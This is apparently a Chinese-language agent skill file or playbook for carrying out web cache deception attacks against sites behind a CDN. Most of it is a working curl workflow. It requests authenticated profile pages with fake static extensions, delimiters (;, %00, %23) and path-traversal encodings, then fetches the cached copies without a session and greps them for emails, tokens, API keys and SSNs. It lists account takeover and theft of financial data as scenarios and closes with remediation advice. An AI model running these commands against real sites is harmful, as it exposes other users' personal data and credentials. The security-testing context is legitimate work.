| name | performing-web-cache-deception-attack |
| description | 通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["web-cache-deception","cdn-attack","cache-poisoning","path-normalization","cloudflare","cache-key","static-resource"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Web 缓存欺骗攻击(Performing Web Cache Deception Attack)
适用场景
- 测试位于 CDN 或反向代理(Cloudflare、Akamai、Varnish、Nginx)之后的应用程序时
- 评估已认证页面的缓存行为时
- 评估缓存层与源服务器之间的路径规范化差异时
- 在具有激进缓存策略的应用程序上进行漏洞赏金猎人工作时
- 测试通过缓存层错误配置导致的敏感数据泄露时
前置条件
- 了解 HTTP 缓存机制(Cache-Control、Vary、Age 头部)
- 熟悉 CDN 路径规范化和缓存键构造方式
- Burp Suite(用于拦截和构造请求)
- 两个浏览器会话(已认证的受害者和未认证的攻击者)
- 了解不同技术栈中 URL 路径解析的差异
- 熟悉常见 CDN 平台(Cloudflare、Akamai、Fastly、AWS CloudFront)
工作流程
步骤 1 — 识别缓存层和缓存行为
curl -I http://target.com/account/profile
curl -I "http://target.com/static/style.css"
for ext in css js png jpg gif svg ico woff woff2 pdf; do
echo -n "$ext: "
curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
步骤 2 — 测试基于路径的缓存欺骗
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"
curl "http://target.com/account/profile/anything.css"
for ext in css js png jpg svg ico woff2; do
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
sleep 2
echo -n "$ext: "
curl -s "http://target.com/account/profile/x.$ext" | head -c 200
echo
done
步骤 3 — 利用分隔符差异
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
步骤 4 — 测试路径规范化差异
curl -b "session=VICTIM" "http://target.com/static/../account/profile"
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
步骤 5 — 利用缓存键操控
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
"http://target.com/static/cached.css"
步骤 6 — 验证并记录攻击
curl -I "http://target.com/account/profile/x.css"
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
核心概念
| 概念 | 定义 |
|---|
| 缓存欺骗(Cache Deception) | 欺骗 CDN 将已认证的动态内容作为静态资源进行缓存 |
| 路径规范化(Path Normalization) | CDN 与源服务器对路径段(../、;、编码字符)的不同解析方式 |
| 缓存键(Cache Key) | CDN 用于存取缓存响应的标识符(通常为 URL 路径) |
| 静态扩展名技巧(Static Extension Trick) | 向动态 URL 追加 .css/.js/.png 以触发缓存行为 |
| 分隔符差异(Delimiter Discrepancy) | 缓存层与源服务器对 ;、?、# 字符的不同解释 |
| 缓存投毒 vs 缓存欺骗(Cache Poisoning vs Deception) | 投毒影响所有用户的缓存;欺骗缓存特定受害者的数据 |
| Vary 头部(Vary Header) | 控制哪些请求属性影响缓存键的 HTTP 头部 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | HTTP 代理,用于构造缓存欺骗请求 |
| curl | 命令行测试缓存行为和响应头部 |
| Web Cache Vulnerability Scanner | 自动检测缓存欺骗/投毒的工具 |
| Param Miner | Burp 扩展,用于发现未纳入缓存键的参数 |
| Cloudflare Diagnostics | 分析 CF-Cache-Status 和 cf-ray 头部 |
| Varnish CLI | 直接检查基于 Varnish 的缓存配置 |
常见场景
- 个人资料数据窃取 — 通过向个人资料 URL 追加 .css 扩展名,缓存含有 PII(邮箱、地址、电话)的已认证用户个人资料页面
- API Token 泄露 — 通过 CDN 路径操控,缓存显示 token 和密钥的 API 控制台页面
- 账户接管 — 缓存包含 session token 或 CSRF token 的页面,利用窃取的 token 实施账户接管
- 金融数据泄露 — 缓存显示账户余额和交易记录的银行或支付页面
- 管理后台缓存 — 通过 CDN 上基于分隔符的路径混淆,缓存管理后台页面
输出格式
## Web 缓存欺骗报告
- **目标**:http://target.com
- **CDN**:Cloudflare
- **漏洞**:通过追加静态扩展名实现基于路径的缓存欺骗
### 缓存行为分析
| 扩展名 | 是否被缓存 | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | 是 | public, max-age=86400 | 24h |
| .js | 是 | public, max-age=86400 | 24h |
| .png | 是 | public, max-age=604800 | 7d |
### 利用结果
| 受害者 URL | 缓存数据 | 敏感字段 |
|-----------|-------------|-----------------|
| /account/profile/x.css | 完整个人资料页面 | 邮箱、姓名、API Key |
| /account/settings/x.js | 设置页面 | 双因素认证备用码 |
### 修复建议
- 配置 CDN 对动态页面遵守 Cache-Control: no-store
- 在已认证端点实施 Vary: Cookie 头部
- 使用基于路径的路由规则,拒绝非预期扩展名
- 在 CDN 与源服务器之间启用一致的路径规范化